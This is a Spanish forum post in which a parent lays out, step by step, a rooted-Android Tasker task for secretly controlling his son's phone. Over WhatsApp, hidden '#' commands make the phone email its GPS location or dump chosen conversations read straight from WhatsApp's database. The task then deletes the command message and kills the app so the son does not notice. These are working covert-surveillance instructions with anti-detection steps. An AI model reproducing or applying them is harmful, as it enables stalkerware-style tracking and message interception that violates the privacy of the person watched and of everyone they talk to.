Buenas.
He de decir, que sí lo que hago es similar. No lo saqué de ahí, pero sí de algún otro post parecido.
Para poder leer los whatsapp, el trigger es la llegada de la notificación.
Lo que yo pretendo es controlar el móvil de mi hijo, quiero saber con quien habla, donde se encuentra, etc... ya sé, ya sé que esto no es muy ortodoxo... pero oiga... ya que la tecnología nos lo permite... protejamos a los enanos, no?
Bueno al lío.
Lo que yo he querido implementar, es una tarea que responda a los comandos que yo le mande utilizando whatsapp y que luego no deje rastro de ese comando.
El formato del comando que he elegido es este:
#XXX, donde la # indica que el mensaje es un comando y las XXX lo identifican
He implementado esta tarea que he llamado "IU"
A1: Ejecutar consola
[ Comando:sqlite3 /data/data/com.whatsapp/databases/msgstore.db "SELECT data FROM messages WHERE key_from_me='0' AND key_remote_jid LIKE '%XXXXXXXXX%' ORDER BY _id DESC LIMIT 1;" Cuenta atrás (segundos):10 Usar Root:Encendido Almacenar Salida En:%REGISTRO Almacenar Errores En: Almacenar Resultado en: ]
En A1, mediante la consulta obtengo el último registro dirigido al whatsapp de mi hijo.
-key_from_me --> campo que indica si el mensaje lo he enviado o me lo han enviado
-key_remote_jid --> campo con el teléfono de la persona que envía el mensaje. En ese caso el mío
Almaceno la salida en la variable %REGISTRO
A2: Sección de Variable [ Nombre:%REGISTRO Desde:1 Longitud:1 Encajar:Apagado Almacenar Resultado en:%COMANDO ]
En A2 saco el primer caracter que contiene la variable %REGISTRO y lo meto en la variable %COMANDO
A3: Si (if) [ %COMANDO ~R # ]
En A3, compruebo si ese caracter es igual a #
A4: Ejecutar consola [ Comando:sqlite3 /data/data/com.whatsapp/databases/msgstore.db "SELECT _id FROM messages WHERE key_from_me='0' AND key_remote_jid LIKE '%XXXXXXXXX%' AND data LIKE '#%' ORDER BY _id DESC LIMIT 1;" Cuenta atrás (segundos):10 Usar Root:Encendido Almacenar Salida En:%ID_WHATSAPP Almacenar Errores En: Almacenar Resultado en: ]
En A4, obtengo el ID del registro que estoy procesando y lo guardo en la variable %ID_WHATSAPP. Esto lo hago para luego borrarlo de la BDD y que no se vea en el whatsapp
A5: Sección de Variable [ Nombre:%REGISTRO Desde:1 Longitud:4 Encajar:Apagado Almacenar Resultado en:%COMANDO ]
En A5, obtengo los 4 primeros caracteres de la variable %REGISTRO para saber que comando he de procesar. Lo meto de nuevo en la variable %COMANDO... por aprovecharla y no crear otra.
A6: Si (if) [ %COMANDO ~R #gps ]
En A6, compruebo que si el comando que voy a procesar es #gps
A7: Realizar tarea [ Nombre:GPS_Mail Parar:Apagado Prioridad:5 Parámetro 1 (%par1): Parámetro 2 (%par2): Devolver Valor de Variable: ]
En A7, si se ha cumplido la condición, llamo a la tarea GPS_Mail, que como intuiréis me mandará por email la posición del móvil. Tanto la posición GPS (%LOC) como la obtenida por la triangulación GSM (%LOCN).
A8: Fin si (End if)
En A8, cierro el IF de A6
A9: Si (if) [ %COMANDO ~R #con ]
En A9, compruebo que si el comando que voy a procesar es #con
A10: Realizar tarea [ Nombre:Consulta_mensajes Parar:Apagado Prioridad:5 Parámetro 1 (%par1): Parámetro 2 (%par2): Devolver Valor de Variable: ]
En A10, llamo a la tarea Consulta_mensajes, que lo que hace es abrir la BDD de whatsapp y recuperar los mensajes que me interesan. El comando #con funciona así.
#con,DD-MM-AAAA,XXXXXXXXX
DD-MM-AAAA es la fecha de la que quiero obtener los mensajes
XXXXXXXXX es el teléfono del que quiero obtener los mensajes
A11: Fin si (End if)
En A11, cierro el IF de A9
A12: Ejecutar consola [ Comando:sqlite3 /data/data/com.whatsapp/databases/msgstore.db "DELETE FROM messages WHERE _id=%ID_WHATSAPP" Cuenta atrás (segundos):10 Usar Root:Encendido Almacenar Salida En: Almacenar Errores En: Almacenar Resultado en: ]
En A12, borro el comando que he enviado al whatsapp de mi hijo, para que no aparezca en el chat y sospeche más que nada...
A13: Matar aplicación [ Aplicación:WhatsApp Usar Root:Encendido ]
En A13, cierro whatsapp para que desaparezca el mensaje y la notificación de que le he enviado un whatsapp
A14: Fin si (End if)
En A14, cierro el IF de A3
De este modo podéis crear los comandos que querías y hacer que el tlf... haga lo que vosotros queráis y se os ocurra.
En otro post os explico como he hecho lo de la BDD de whatsapp
Un saludo